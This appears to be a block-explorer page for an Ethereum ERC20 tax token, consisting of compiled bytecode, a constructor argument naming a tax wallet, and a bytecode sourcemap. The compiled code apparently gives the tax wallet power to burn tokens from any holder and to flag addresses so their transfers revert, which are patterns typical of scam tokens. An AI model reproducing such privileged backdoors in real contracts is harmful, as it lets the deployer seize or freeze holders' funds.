ffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611cda848661249490919063ffffffff16565b604051611ce79190612720565b60405180910390a350505050565b6000838311158290611d3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d3491906125d1565b60405180910390fd5b5060008385611d4c9190613413565b9050809150509392505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611dc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dbf906134b9565b60405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611e4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e469061354b565b60405180910390fd5b81601754611e5d9190613413565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508160086000828254611eb29190613413565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611f179190612720565b60405180910390a3505050565b6001601a60146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611f5c57611f5b612934565b5b604051908082528060200260200182016040528015611f8a5781602001602082028036833780820191505090505b5090503081600081518110611fa257611fa1612cef565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612049573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061206d9190613580565b8160018151811061208157612080612cef565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506120e830601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611137565b601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161214c9594939291906136a6565b600060405180830381600087803b15801561216657600080fd5b505af115801561217a573d6000803e3d6000fd5b50505050506000601a60146101000a81548160ff02191690831515021790555050565b6013546015819055506013546012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6008546040516121e09190612720565b60405180910390a1565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561229557600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661229457600080fd5b5b6122d260646122c4600d5460105410156122b157600a546122b5565b600b545b866122ed90919063ffffffff16565b61236790919063ffffffff16565b905092915050565b600080823b905060008111915050919050565b60008083036122ff5760009050612361565b6000828461230d9190613259565b905082848261231c919061372f565b1461235c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612353906137d2565b60405180910390fd5b809150505b92915050565b60006123a983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506124de565b905092915050565b60008183116123c057826123c2565b815b905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612432573d6000803e3d6000fd5b5050565b60008082846124459190613373565b90508381101561248a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124819061383e565b60405180910390fd5b8091505092915050565b60006124d683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611cf5565b905092915050565b60008083118290612525576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161251c91906125d1565b60405180910390fd5b5060008385612534919061372f565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561257b578082015181840152602081019050612560565b60008484015250505050565b6000601f19601f8301169050919050565b60006125a382612541565b6125ad818561254c565b93506125bd81856020860161255d565b6125c681612587565b840191505092915050565b600060208201905081810360008301526125eb8184612598565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061263282612607565b9050919050565b61264281612627565b811461264d57600080fd5b50565b60008135905061265f81612639565b92915050565b6000819050919050565b61267881612665565b811461268357600080fd5b50565b6000813590506126958161266f565b92915050565b600080604083850312156126b2576126b16125fd565b5b60006126c085828601612650565b92505060206126d185828601612686565b9150509250929050565b60008115159050919050565b6126f0816126db565b82525050565b600060208201905061270b60008301846126e7565b92915050565b61271a81612665565b82525050565b60006020820190506127356000830184612711565b92915050565b600080600060608486031215612754576127536125fd565b5b600061276286828701612650565b935050602061277386828701612650565b925050604061278486828701612686565b9150509250925092565b600060ff82169050919050565b6127a48161278e565b82525050565b60006020820190506127bf600083018461279b565b92915050565b6000602082840312156127db576127da6125fd565b5b60006127e984828501612650565b91505092915050565b6000819050919050565b600061281761281261280d84612607565b6127f2565b612607565b9050919050565b6000612829826127fc565b9050919050565b600061283b8261281e565b9050919050565b61284b81612830565b82525050565b60006020820190506128666000830184612842565b92915050565b61287581612627565b82525050565b6000602082019050612890600083018461286c565b92915050565b6000602082840312156128ac576128ab6125fd565b5b60006128ba84828501612686565b91505092915050565b600080604083850312156128da576128d96125fd565b5b60006128e885828601612650565b92505060206128f985828601612650565b9150509250929050565b61290c816126db565b811461291757600080fd5b50565b60008135905061292981612903565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61296c82612587565b810181811067ffffffffffffffff8211171561298b5761298a612934565b5b80604052505050565b600061299e6125f3565b90506129aa8282612963565b919050565b600067ffffffffffffffff8211156129ca576129c9612934565b5b602082029050602081019050919050565b600080fd5b60006129f36129ee846129af565b612994565b90508083825260208201905060208402830185811115612a1657612a156129db565b5b835b81811015612a3f5780612a2b8882612650565b845260208401935050602081019050612a18565b5050509392505050565b600082601f830112612a5e57612a5d61292f565b5b8135612a6e8482602086016129e0565b91505092915050565b60008060408385031215612a8e57612a8d6125fd565b5b6000612a9c8582860161291a565b925050602083013567ffffffffffffffff811115612abd57612abc612602565b5b612ac985828601612a49565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612b0960208361254c565b9150612b1482612ad3565b602082019050919050565b60006020820190508181036000830152612b3881612afc565b9050919050565b7f57726f6e6720616d6f756e740000000000000000000000000000000000000000600082015250565b6000612b75600c8361254c565b9150612b8082612b3f565b602082019050919050565b60006020820190508181036000830152612ba481612b68565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612be160178361254c565b9150612bec82612bab565b602082019050919050565b60006020820190508181036000830152612c1081612bd4565b9050919050565b7f54726164696e672068617320616c7265616479206265656e206f70656e656400600082015250565b6000612c4d601f8361254c565b9150612c5882612c17565b602082019050919050565b60006020820190508181036000830152612c7c81612c40565b9050919050565b7f436f6e747261637420686173206e6f204554482062616c616e63650000000000600082015250565b6000612cb9601b8361254c565b9150612cc482612c83565b602082019050919050565b60006020820190508181036000830152612ce881612cac565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612d5882612665565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612d8a57612d89612d1e565b5b600182019050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612df160248361254c565b9150612dfc82612d95565b604082019050919050565b60006020820190508181036000830152612e2081612de4565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612e8360228361254c565b9150612e8e82612e27565b604082019050919050565b60006020820190508181036000830152612eb281612e76565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612f1560258361254c565b9150612f2082612eb9565b604082019050919050565b60006020820190508181036000830152612f4481612f08565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612fa760238361254c565b9150612fb282612f4b565b604082019050919050565b60006020820190508181036000830152612fd681612f9a565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061303960298361254c565b915061304482612fdd565b604082019050919050565b600060208201905081810360008301526130688161302c565b9050919050565b7f43616e27742062757920696e2074686520666972737420626c6f636b00000000600082015250565b60006130a5601c8361254c565b91506130b08261306f565b602082019050919050565b600060208201905081810360008301526130d481613098565b9050919050565b60008160011c9050919050565b6000808291508390505b60018511156131325780860481111561310e5761310d612d1e565b5b600185161561311d5780820291505b808102905061312b856130db565b94506130f2565b94509492505050565b60008261314b5760019050613207565b816131595760009050613207565b816001811461316f5760028114613179576131a8565b6001915050613207565b60ff84111561318b5761318a612d1e565b5b8360020a9150848211156131a2576131a1612d1e565b5b50613207565b5060208310610133831016604e8410600b84101617156131dd5782820a9050838111156131d8576131d7612d1e565b5b613207565b6131ea84848460016130e8565b9250905081840481111561320157613200612d1e565b5b81810290505b9392505050565b600061321982612665565b91506132248361278e565b92506132517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461313b565b905092915050565b600061326482612665565b915061326f83612665565b925082820261327d81612665565b9150828204841483151761329457613293612d1e565b5b5092915050565b7f457863656564732074686520737761705468726573686f6c642e000000000000600082015250565b60006132d1601a8361254c565b91506132dc8261329b565b602082019050919050565b60006020820190508181036000830152613300816132c4565b9050919050565b7f4578636565647320746865206d61785478416d6f756e742e0000000000000000600082015250565b600061333d60188361254c565b915061334882613307565b602082019050919050565b6000602082019050818103600083015261336c81613330565b9050919050565b600061337e82612665565b915061338983612665565b92508282019050808211156133a1576133a0612d1e565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b60006133dd601a8361254c565b91506133e8826133a7565b602082019050919050565b6000602082019050818103600083015261340c816133d0565b9050919050565b600061341e82612665565b915061342983612665565b925082820390508181111561344157613440612d1e565b5b92915050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b60006134a360218361254c565b91506134ae82613447565b604082019050919050565b600060208201905081810360008301526134d281613496565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b600061353560228361254c565b9150613540826134d9565b604082019050919050565b6000602082019050818103600083015261356481613528565b9050919050565b60008151905061357a81612639565b92915050565b600060208284031215613596576135956125fd565b5b60006135a48482850161356b565b91505092915050565b6000819050919050565b60006135d26135cd6135c8846135ad565b6127f2565b612665565b9050919050565b6135e2816135b7565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61361d81612627565b82525050565b600061362f8383613614565b60208301905092915050565b6000602082019050919050565b6000613653826135e8565b61365d81856135f3565b935061366883613604565b8060005b838110156136995781516136808882613623565b975061368b8361363b565b92505060018101905061366c565b5085935050505092915050565b600060a0820190506136bb6000830188612711565b6136c860208301876135d9565b81810360408301526136da8186613648565b90506136e9606083018561286c565b6136f66080830184612711565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061373a82612665565b915061374583612665565b92508261375557613754613700565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006137bc60218361254c565b91506137c782613760565b604082019050919050565b600060208201905081810360008301526137eb816137af565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613828601b8361254c565b9150613833826137f2565b602082019050919050565b600060208201905081810360008301526138578161381b565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220598d4305c3d2f9603a98d49b5d18c06fac2d6851995c1c99501d7d8d677f499b64736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000074cc0439061a8e915fe4cc23d7aa3af45a0294e1

-----Decoded View---------------
Arg [0] : taxWallet_ (address): 0x74CC0439061A8e915FE4Cc23d7aa3af45a0294e1

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 00000000000000000000000074cc0439061a8e915fe4cc23d7aa3af45a0294e1


Deployed Bytecode Sourcemap

1678:9882:4:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4158:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4896:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2843:54;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4249:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5408:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4352:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2401:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2479:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4594:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;619:148:2;;;;;;;;;;;;;:::i;:::-;;2904:56:4;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3175:39;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9426:132;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;405:79:2;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2732:58:4;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4063:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11246:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4721:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10466:254;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2441:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2967:57;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11397:125;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;11034:204;;;;;;;;;;;;;:::i;:::-;;4443:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10728:298;;;;;;;;;;;;;:::i;:::-;;2360:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8918:328;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3344:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4158:83;4195:13;4228:5;;;;;;;;;;;;;;;;;4221:12;;4158:83;:::o;4896:161::-;4971:4;4988:39;4997:12;:10;:12::i;:::-;5011:7;5020:6;4988:8;:39::i;:::-;5045:4;5038:11;;4896:161;;;;:::o;2843:54::-;;;;:::o;4249:95::-;4302:7;4329;;4322:14;;4249:95;:::o;5408:313::-;5506:4;5523:36;5533:6;5541:9;5552:6;5523:9;:36::i;:::-;5570:121;5579:6;5587:12;:10;:12::i;:::-;5601:89;5639:6;5601:89;;;;;;;;;;;;;;;;;:11;:19;5613:6;5601:19;;;;;;;;;;;;;;;:33;5621:12;:10;:12::i;:::-;5601:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;5570:8;:121::i;:::-;5709:4;5702:11;;5408:313;;;;;:::o;4352:83::-;4393:5;2183:1;4411:16;;4352:83;:::o;2401:33::-;;;;:::o;2479:32::-;;;;:::o;4594:119::-;4660:7;4687:9;:18;4697:7;4687:18;;;;;;;;;;;;;;;;4680:25;;4594:119;;;:::o;619:148:2:-;542:12;:10;:12::i;:::-;532:22;;:6;;;;;;;;;;:22;;;524:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;726:1:::1;689:40;;710:6;::::0;::::1;;;;;;;;689:40;;;;;;;;;;;;757:1;740:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;619:148::o:0;2904:56:4:-;;;;:::o;3175:39::-;;;;;;;;;;;;;:::o;9426:132::-;9489:4;9512:31;:38;9544:5;9512:38;;;;;;;;;;;;;;;;;;;;;;;;;9505:45;;9426:132;;;:::o;405:79:2:-;443:7;470:6;;;;;;;;;;;463:13;;405:79;:::o;2732:58:4:-;;;;:::o;4063:87::-;4102:13;4135:7;;;;;;;;;;;;;;;;;4128:14;;4063:87;:::o;11246:143::-;11337:10;;;;;;;;;;;11321:26;;:12;:10;:12::i;:::-;:26;;;11313:35;;;;;;11359:22;11365:7;11374:6;11359:5;:22::i;:::-;11246:143;;:::o;4721:167::-;4799:4;4816:42;4826:12;:10;:12::i;:::-;4840:9;4851:6;4816:9;:42::i;:::-;4876:4;4869:11;;4721:167;;;;:::o;10466:254::-;10544:10;;;;;;;;;;;10528:26;;:12;:10;:12::i;:::-;:26;;;10520:35;;;;;;10584:24;10602:4;10584:9;:24::i;:::-;10574:6;:34;;:48;;;;;10621:1;10612:6;:10;10574:48;10566:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;10650:24;10667:6;10650:16;:24::i;:::-;10685:10;;;;;;;;;;;:19;;:27;10705:6;10685:27;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10466:254;:::o;2441:31::-;;;;:::o;2967:57::-;;;;:::o;11397:125::-;11471:10;;;;;;;;;;;11455:26;;:12;:10;:12::i;:::-;:26;;;11447:35;;;;;;11509:5;11493:13;;:21;;;;;;;;;;;;;;;;;;11397:125;:::o;11034:204::-;542:12:2;:10;:12::i;:::-;532:22;;:6;;;;;;;;;;:22;;;524:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11098:11:4::1;;;;;;;;;;;11097:12;11089:47;;;;;;;;;;;;:::i;:::-;;;;;;;;;11161:4;11147:11;;:18;;;;;;;;;;;;;;;;;;11190:4;11176:11;;:18;;;;;;;;;;;;;;;;;;11218:12;11205:10;:25;;;;11034:204::o:0;4443:143::-;4524:7;4551:11;:18;4563:5;4551:18;;;;;;;;;;;;;;;:27;4570:7;4551:27;;;;;;;;;;;;;;;;4544:34;;4443:143;;;;:::o;10728:298::-;542:12:2;:10;:12::i;:::-;532:22;;:6;;;;;;;;;;:22;;;524:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10790:11:4::1;;;;;;;;;;;10789:12;10781:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;10848:23;10874:21;10848:47;;10932:1;10914:15;:19;10906:59;;;;;;;;;;;;:::i;:::-;;;;;;;;;10984:7;:5;:7::i;:::-;10976:25;;:42;11002:15;10976:42;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;10770:256;10728:298::o:0;2360:34::-;;;;:::o;8918:328::-;9013:10;;;;;;;;;;;8997:26;;:12;:10;:12::i;:::-;:26;;;8989:35;;;;;;9035:13;9063:176;9078:5;:12;9070:5;:20;9063:176;;;9107:14;9132:5;9138;9132:12;;;;;;;;:::i;:::-;;;;;;;;9107:38;;9202:3;9160:31;:39;9192:6;9160:39;;;;;;;;;;;;;;;;:45;;;;;;;;;;;;;;;;;;9220:7;;;;;:::i;:::-;;;;9092:147;9063:176;;;8978:268;8918:328;;:::o;3344:31::-;;;;;;;;;;;;;:::o;93:98:0:-;146:7;173:10;166:17;;93:98;:::o;5065:335:4:-;5175:1;5158:19;;:5;:19;;;5150:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5256:1;5237:21;;:7;:21;;;5229:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5338:6;5308:11;:18;5320:5;5308:18;;;;;;;;;;;;;;;:27;5327:7;5308:27;;;;;;;;;;;;;;;:36;;;;5376:7;5360:32;;5369:5;5360:32;;;5385:6;5360:32;;;;;;:::i;:::-;;;;;;;;5065:335;;;:::o;6166:2460::-;6270:1;6254:18;;:4;:18;;;6246:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6347:1;6333:16;;:2;:16;;;6325:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;6417:1;6408:6;:10;6400:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;6475:17;6517:7;:5;:7::i;:::-;6509:15;;:4;:15;;;;:32;;;;;6534:7;:5;:7::i;:::-;6528:13;;:2;:13;;;;6509:32;6505:1765;;;6571:1;6558:10;;:14;:43;;;;;6591:10;;6576:12;:25;6558:43;:62;;;;;6613:7;:5;:7::i;:::-;6605:15;;:4;:15;;;;6558:62;6554:96;;;6633:15;:13;:15::i;:::-;6554:96;6676:26;6689:6;6697:4;6676:12;:26::i;:::-;6664:38;;6731:13;;;;;;;;;;;6723:21;;:4;:21;;;:55;;;;;6762:15;;;;;;;;;;;6748:30;;:2;:30;;;;6723:55;6719:666;;;6817:12;6803:10;;:26;6799:571;;6862:18;:22;6881:2;6862:22;;;;;;;;;;;;;;;;;;;;;;;;;6854:63;;;;;;;;;;;;:::i;:::-;;;;;;;;;2183:1;3086:2;:13;;;;:::i;:::-;3073:10;:26;;;;:::i;:::-;6948:6;:24;;6940:63;;;;;;;;;;;;:::i;:::-;;;;;;;;;6799:571;;;7070:12;;7060:6;:22;;7052:59;;;;;;;;;;;;:::i;:::-;;;;;;;;;7168:14;;7158:6;7142:13;7152:2;7142:9;:13::i;:::-;:22;;;;:::i;:::-;:40;;7134:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;7257:12;7253:1;7240:10;;:14;;;;:::i;:::-;:29;7236:115;;;7307:19;7323:2;7307:15;:19::i;:::-;7306:20;7298:29;;;;;;7236:115;6799:571;6719:666;7410:13;;;;;;;;;;;7404:19;;:2;:19;;;:43;;;;;7442:4;7427:20;;:4;:20;;;;7404:43;7401:173;;;7479:79;7554:3;7479:70;7501:16;;7491:9;;:26;7490:58;;7533:15;;7490:58;;;7519:13;;7490:58;7479:6;:10;;:70;;;;:::i;:::-;:74;;:79;;;;:::i;:::-;7467:91;;7401:173;7600:13;;;;;;;;;;;7594:19;;:2;:19;;;;:46;;;;;7618:18;:22;7637:2;7618:22;;;;;;;;;;;;;;;;;;;;;;;;;7617:23;7594:46;7590:166;;;7695:14;;7685:6;7669:13;7679:2;7669:9;:13::i;:::-;:22;;;;:::i;:::-;:40;;7661:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;7590:166;7772:28;7803:24;7821:4;7803:9;:24::i;:::-;7772:55;;7847:6;;;;;;;;;;;7846:7;:31;;;;;7864:13;;;;;;;;;;;7857:20;;:2;:20;;;7846:31;:46;;;;;7881:11;;;;;;;;;;;7846:46;:88;;;;;7917:17;;7896:20;:38;7846:88;:120;;;;;7948:18;;7938:9;;:28;7846:120;7842:415;;;7987:67;8004:49;8008:6;8015:37;8019:20;8040:11;;8015:3;:37::i;:::-;8004:3;:49::i;:::-;7987:16;:67::i;:::-;8073:26;8102:21;8073:50;;8166:1;8145:18;:22;8142:100;;;8192:30;8200:21;8192:7;:30::i;:::-;8142:100;7968:289;7842:415;6543:1727;6505:1765;8295:1;8285:9;:11;8282:161;;;8335:39;8364:9;8335;:24;8353:4;8335:24;;;;;;;;;;;;;;;;:28;;:39;;;;:::i;:::-;8310:9;:24;8328:4;8310:24;;;;;;;;;;;;;;;:64;;;;8415:4;8392:39;;8401:4;8392:39;;;8421:9;8392:39;;;;;;:::i;:::-;;;;;;;;8282:161;8469:27;8489:6;8469:9;:15;8479:4;8469:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;8453:9;:15;8463:4;8453:15;;;;;;;;;;;;;;;:43;;;;8521:40;8539:21;8550:9;8539:6;:10;;:21;;;;:::i;:::-;8521:9;:13;8531:2;8521:13;;;;;;;;;;;;;;;;:17;;:40;;;;:::i;:::-;8507:9;:13;8517:2;8507:13;;;;;;;;;;;;;;;:54;;;;8592:2;8577:41;;8586:4;8577:41;;;8596:21;8607:9;8596:6;:10;;:21;;;;:::i;:::-;8577:41;;;;;;:::i;:::-;;;;;;;;6235:2391;6166:2460;;;:::o;888:190::-;974:7;1007:1;1002;:6;;1010:12;994:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1034:9;1050:1;1046;:5;;;;:::i;:::-;1034:17;;1069:1;1062:8;;;888:190;;;;;:::o;5729:429::-;5832:1;5813:21;;:7;:21;;;5805:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;5889:22;5914:9;:18;5924:7;5914:18;;;;;;;;;;;;;;;;5889:43;;5969:6;5951:14;:24;;5943:71;;;;;;;;;;;;:::i;:::-;;;;;;;;;6063:6;6052:8;;:17;;;;:::i;:::-;6031:9;:18;6041:7;6031:18;;;;;;;;;;;;;;;:38;;;;6091:6;6080:7;;:17;;;;;;;:::i;:::-;;;;;;;;6139:1;6113:37;;6122:7;6113:37;;;6143:6;6113:37;;;;;;:::i;:::-;;;;;;;;5794:364;5729:429;;:::o;9774:483::-;3475:4;3466:6;;:13;;;;;;;;;;;;;;;;;;9852:21:::1;9890:1;9876:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9852:40;;9921:4;9903;9908:1;9903:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;9947:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9937:4;9942:1;9937:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;::::0;::::1;9980:62;9997:4;10012:15;;;;;;;;;;;10030:11;9980:8;:62::i;:::-;10053:15;;;;;;;;;;;:66;;;10134:11;10160:1;10176:4;10203;10223:15;10053:196;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;9841:416;3511:5:::0;3502:6;;:14;;;;;;;;;;;;;;;;;;9774:483;:::o;9258:160::-;9317:6;;9302:12;:21;;;;9351:6;;9334:14;:23;;;;9383:27;9402:7;;9383:27;;;;;;:::i;:::-;;;;;;;;9258:160::o;8634:276::-;8709:7;8731:31;:39;8763:6;8731:39;;;;;;;;;;;;;;;;;;;;;;;;;8728:79;;;8780:18;:26;8799:6;8780:26;;;;;;;;;;;;;;;;;;;;;;;;;8772:35;;;;;;8728:79;8825:77;8898:3;8825:68;8848:15;;8837:9;;:26;;8836:56;;8878:14;;8836:56;;;8865:12;;8836:56;8825:6;:10;;:68;;;;:::i;:::-;:72;;:77;;;;:::i;:::-;8818:84;;8634:276;;;;:::o;9566:200::-;9630:4;9647:12;9714:7;9702:20;9694:28;;9757:1;9750:4;:8;9743:15;;;9566:200;;;:::o;1086:246::-;1144:7;1173:1;1168;:6;1164:47;;1198:1;1191:8;;;;1164:47;1221:9;1237:1;1233;:5;;;;:::i;:::-;1221:17;;1266:1;1261;1257;:5;;;;:::i;:::-;:10;1249:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;1323:1;1316:8;;;1086:246;;;;;:::o;1340:132::-;1398:7;1425:39;1429:1;1432;1425:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;1418:46;;1340:132;;;;:::o;10360:98::-;10417:7;10444:1;10442;:3;10441:9;;10449:1;10441:9;;;10447:1;10441:9;10434:16;;10360:98;;;;:::o;10265:87::-;10317:10;;;;;;;;;;;:19;;:27;10337:6;10317:27;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10265:87;:::o;557:179::-;615:7;635:9;651:1;647;:5;;;;:::i;:::-;635:17;;676:1;671;:6;;663:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;727:1;720:8;;;557:179;;;;:::o;744:136::-;802:7;829:43;833:1;836;829:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;822:50;;744:136;;;;:::o;1480:189::-;1566:7;1598:1;1594;:5;1601:12;1586:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1625:9;1641:1;1637;:5;;;;:::i;:::-;1625:17;;1660:1;1653:8;;;1480:189;;;;;:::o;7:99:5:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1